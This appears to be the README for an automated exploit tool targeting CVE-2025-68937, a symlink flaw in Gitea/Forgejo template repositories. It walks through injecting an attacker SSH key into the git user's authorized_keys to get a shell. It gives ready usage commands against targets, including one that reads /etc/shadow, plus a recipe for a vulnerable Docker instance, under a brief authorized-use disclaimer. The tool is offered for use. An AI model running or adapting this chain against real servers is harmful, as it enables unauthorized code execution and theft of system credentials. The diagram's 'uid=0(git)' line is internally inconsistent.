
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
Автоматизированный proof-of-concept для CVE-2025-68937: обход каталога через разыменование симлинков при обработке шаблонных репозиториев Gitea и Forgejo, приводящий к удалённому выполнению кода.
Любой аутентифицированный пользователь (без прав администратора) может получить shell под пользователем службы git.
При создании нового репозитория из шаблона Gitea/Forgejo копирует файлы шаблона и разворачивает переменные вида ${REPO_DESCRIPTION} в файлах, перечисленных в .gitea/template. Этот процесс переходит по символическим ссылкам без проверки, что позволяет атакующему читать и записывать произвольные файлы на сервере.
| Деталь | Значение |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Критический |
| CWE | CWE-61 (переход по символическим ссылкам UNIX) |
| Требуется аутентификация | Да (любой пользователь) |
| Требуются права администратора | Нет |
| ПО | Затронутые версии | Исправлено |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, шаблонную переменную, которую разворачивает Gitea.gitea/template, перечисляющий authorized_keys для разворачивания переменныхauthorized_keys, указывающий на реальный файл authorized_keys пользователя gitauthorized_keys (содержащий наш зарегистрированный ключ с ${REPO_DESCRIPTION} в комментарии), разворачивает переменную в описание дочернего репозитория (наш SSH-ключ) и записывает результат обратно через симлинкgit с внедрённым ключом (без ограничения command=)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Запустите уязвимый экземпляр:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 и завершите мастер установки (SQLite вполне подойдёт)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit и ssh-keygen в PATHЭтот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам противозаконен. Автор не несёт ответственности за неправомерное использование.
| Флаг | По умолчанию | Описание |
|---|
-u, --url | обязательно | Базовый URL Gitea/Forgejo |
-U, --user | обязательно | Имя пользователя |
-P, --password | обязательно | Пароль |
--git-home | /data/git | Домашний каталог пользователя git на целевой системе |
--ssh-host | из --url | SSH-хост для подключения |
--ssh-port | 22 | SSH-порт Gitea |
--timeout | 30 | Секунд ожидания SSH |
--command | интерактивно | Команда для выполнения после получения shell |
--cleanup | - | Удалить артефакты эксплойта |